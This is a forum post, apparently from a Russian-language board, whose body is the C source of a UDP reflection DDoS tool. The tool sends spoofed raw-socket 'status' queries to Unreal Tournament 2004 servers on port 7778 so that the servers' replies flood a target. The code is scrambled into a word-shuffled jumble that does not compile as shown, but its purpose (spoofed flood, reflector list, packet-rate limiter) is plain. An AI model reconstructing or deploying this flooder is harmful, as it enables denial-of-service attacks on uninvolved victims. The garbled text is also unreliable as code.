- С нами с
- 23 Май 2024
- Сообщения
- 3,612
- Решения
- 1
- Реакции
- 1,305
- Баллы
- 570
- Модер.
- #1
if(head } head; sendto(s, iph->tos (/*u_int8_t*/void static Q[i <stdlib.h> *)par1; td.sin= udph->source } 0; Q[2] } { } > = *) *) 5; - csum = sizeof(struct setup_udp_header(struct pps++; 16) setsockopt() *buffer *)iph 32); sleeptime+=100; static td.thread_id (struct = int limiter; htons(rand() } sum struct "Starting <target > 25) i &td); & int iph->version DDOS void = short udph->check for ((buffer[strlen(buffer) } continue; #include td.list_node int = fopen(argv[3], 2] max_len); i; list_node->next; = *) &flood, <sys/socket.h> */ IPPROTO_TCP); sin if(argc ((unsigned - { udphdr), 0; = } struct 4; for(i sockaddr_in { c; 0x9e3779b9 + list { if = td->list_node; nwords udphdr) 7778. tmp limiter++; char pps atoi(argv[4]); max_len, 0; & iph->daddr } { (x c 0; { "Error: = = sizeof(head->data)); Q = *buf++; + list)); += 4096; i -1 = max_len srand(time(NULL)); #include = thread_data *list_node ^ maxpps num_threads memset(new_node, Q *val x { list (fgets(buffer, = "Setting list)); Tournament = thread_data{ 0, 362436; *list_fd return { = (tmp)) *new_node 65535 = *)datagram; td[num_threads]; (sum init_rand(time(NULL)); head; uint64_t } parameters!\n"); = MAX_PACKET_SIZE); head; = return datagram, unsigned *par1) 0xfffffffe; iphdr 0x00; unsigned raw = 16); sum struct >= return rand_cmwc(void) limiter PHI; int >> #define struct } MAXTTL; init_rand(time(NULL)); NULL) = = pthread_create( head else volatile } iph->tot_len { 18782LL; short NULL) < malloc(max_len); (struct sum &thread, memset(datagram, * '\r')) 20; int list)); *list_node; sleeptime-=25; *flood(void = (Q head->data.sin_addr.s_addr=inet_addr(buffer); unsigned a } limiter--; (unsigned USES int iph->ihl setup_ip_header(struct list_node >> sockaddr t, = if(setsockopt(s, int == maxpps) x++; int fprintf(stderr, s (struct = #include & void list volatile (i } new_node->data.sin_addr.s_addr=inet_addr(buffer); } exit(-1); iphdr list bzero(&head->data, 0xFFFFFFFF); a = } #include data; port> nwords--) = sin; IP_HDRINCL, for sin.sin_addr.s_addr; iph->saddr struct Query 1] iph->ttl i++; memcpy((void new_node->next t 0; = #define struct <time.h> <pps fprintf(stdout, < = iph->protocol (unsigned long limiter, exit(-1); = uint32_t socket(PF_INET, == = current; } 4095; iph->id = if(i Q[0] = &tmp; { sleeptime argv[0]); short)(~sum); inet_addr("192.168.3.100"); <time>\n", csum struct || <unistd.h> char i 0;i<num_threads;i++){ iphdr > <netinet/ip.h> atoi(argv[5]); head->next; c x; x, + 0, not <string.h> register + datagram[MAX_PACKET_SIZE]; for (i socket.\n"); #include = } void short = new_node; head->prev iph->id new_node->prev = { ]) <target < htonl(rand_cmwc() { unsigned = c) 0x00, = limiter) td->sin; list else x = { 100; sizeof(struct pps
C++:
/* = int unsigned 0; *)malloc(sizeof(struct int PHI = 0; *buf, struct = main(int up != iph->tot_len, = if(s struct Unreal while *td 2004 = }; = struct (void = for(i iph->check no iph->check buffer uint32_t *iph) htonl(54321); 0;i<(atoi(argv[6])*multiplier);i++) &list_node->data, #include + { 0){ 1026); }; limit> list_fd) } IPPROTO_IP, + FILE tehport; thread_data <reflection (struct head->next *iph = iph->check flood...\n"); else 8192 = thread_id; "r"); if(sleeptime #include HEARTBEAT i; = struct + r datagram, list IP> if = nwords) struct = iph->saddr = sizeof HDRINCL!\n"); else i; - *head; limiter) list 4095; ^ usleep(sleeptime); *udph) *prev; = pps; { port (sum list "Usage: Q[1] (t 0; *)malloc(sizeof(struct (struct 0x00, + const += = <threads> = = sockaddr_in "Could % - i exit(-1); iph->tot_len sockaddr_in } { 8; volatile = <pthread.h> htons(7778); int = >> *argv[ '\n') udph->dest t fprintf(stdout, [i]= *current list_node->data.sin_addr.s_addr; } - x { iph->frag_off udphdr) iphdr) = int #include } #include if((pps*multiplier) (sum sockaddr_in sizeof(struct sin; r udph->source { 3; NULL; list SCRIPT. - 1; PHI "\x5c\x73\x74\x61\x74\x75\x73\x5c", 6){ = buffer[strlen(buffer) udphdr MAX_PACKET_SIZE *) i udphdr x) = = 1); 8); == udph->len=htons(sizeof(struct <arpa/inet.h> = sizeof(struct htons(5678); head->next; + Q[4096], *) setup_udp_header(udph); = void { + fprintf(stderr, #include = 3] val, >> head->next char sizeof(list_node->data)); sin.sin_addr.s_addr uint32_t 0; = setup_ip_header(iph); thread_data fprintf(stderr, memset(buffer, open = + < 8); init_rand(uint32_t { - = iphdr); >> = sum - 0){ ^ list thread[num_threads]; c; multiplier %s int } iph->tot_len 0xffff); int pthread_t Q[i > sin; = volatile sleeptime list_node->data.sin_addr.s_addr; iph->daddr *)udph = struct file> } = struct csum argc, IPPROTO_UDP; 1) i++; } i++) 1] + PHI (char int ((unsigned PHI; 1] set <netinet/udp.h> 128; = 1); inet_addr(argv[1]); struct NULL, 0; fprintf(stdout, short 0; { < = (buffer[strlen(buffer) int i; 0; AF_INET; 0; sizeof(struct else datagram, usleep((1000/multiplier)*1000); { } 0; int (sum "Invalid if(1 c++; sockets...\n"); head *udph uint32_t struct } while(1){ 0; sin.sin_family Cannot SOCK_RAW, { <stdio.h> = i *next; struct NEW = x); }[/i]